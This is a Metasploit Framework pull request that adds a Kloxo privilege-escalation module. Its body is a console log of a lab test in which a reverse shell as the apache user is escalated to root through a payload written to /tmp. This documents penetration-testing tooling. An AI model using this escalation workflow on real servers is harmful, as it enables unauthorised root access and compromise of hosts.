rapid7/metasploit-framework — pull request #1823 by jvazquez-r7 (2013-05-13 23:11:42+00:00)
Title: Added module for EDB 25406

Tested with Kloxo 6.1.6 on CentOS 5.8. Privilege escalation from apache (only!) to root:

```
msf exploit(kloxo_lxsuexec) > use exploit/multi/handler
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.172.194
[*] Command shell session 5 opened (192.168.172.1:4444 -> 192.168.172.194:52149) at 2013-05-13 17:33:56 -0500

^Z
Background session 5? [y/N] y
msf exploit(handler) > use exploit/linux/local/kloxo_lxsuexec
msf exploit(kloxo_lxsuexec) > set session 5
session => 5
msf exploit(kloxo_lxsuexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.5:4444
[*] Checking actual uid...
[*] Writing payload executable (259 bytes) to /tmp/tnUZ
[*] Exploiting...
[*] Command shell session 6 opened (192.168.0.5:4444 -> 192.168.0.5:63231) at 2013-05-13 17:34:27 -0500
[+] Deleted /tmp/tnUZ
[+] Deleted /tmp/NdyC

663568205
BhNHLZjiqXPBxrVjkLEBqLKKwwtiyuKm
/bin//sh: line 3: attrib.exe: command not found
/bin//sh: line 3: del.exe: command not found
hrndyjUCocwvRupOxnthsNJSgVNKQdEZ
/bin//sh: line 5: attrib.exe: command not found
/bin//sh: line 5: del.exe: command not found
mOFwjLvJuqHyyPHeFEWxkRkgEiOyNzei
id
uid=0(root) gid=0(root)
^C
Abort session 6? [y/N] y

[*] 192.168.0.5 - Command shell session 6 closed. Reason: User exit

msf exploit(kloxo_lxsuexec) > sessions -i 5
[*] Starting interaction with 5...

33281788
dVmJOXmpZuRhFFrkyUFpvcVBZJUeUbAI
48
ckHGeAxkonxAZoWHhJxUzXjaITvvNhhO
65537
ZkFsUiopaOOHBaaxJYPsSJClHxilinWP
??ABCD%%
BBpyGaacNShNdLwQGeYkZVRMYVVjCMne
qNYtLOiawweNxUzFvcTuuvacSFxPgahd
hPXZgfkmigJeswTRRWdlCDMzOZzyTPeY
HGNjxMqGitHhOizfIVHyTmvuICtdNpGs
AYoWvfSgBZkCIXixbLdxaNiWpUyAxwBU
ZAFRZoaBgYSxKphuKltlMwIHkdHFivDC
JoYVdKWFMAsSfTDGWAxZjRlkznirfGDo
JBVwHQmegjLNnOdkUGDFfPcMiJVkxEIX
SnfQRaBVYIhyAvKdLPvFPEeoWowLIDyU
65537
AtmMuUroBLJykmcDmlRxOGPeOdETSKrA
??ABCD%%
NMaJCPfRGWVaULkmFknDPtUQRYNBtDtc
OUOhKkEGCmnFulcVtblEKlwXqGfSdNlz
UNPavyFDlYhXUbATUOdKiBGmWxLrAjuj
id
uid=48(apache) gid=48(apache) groups=48(apache)

```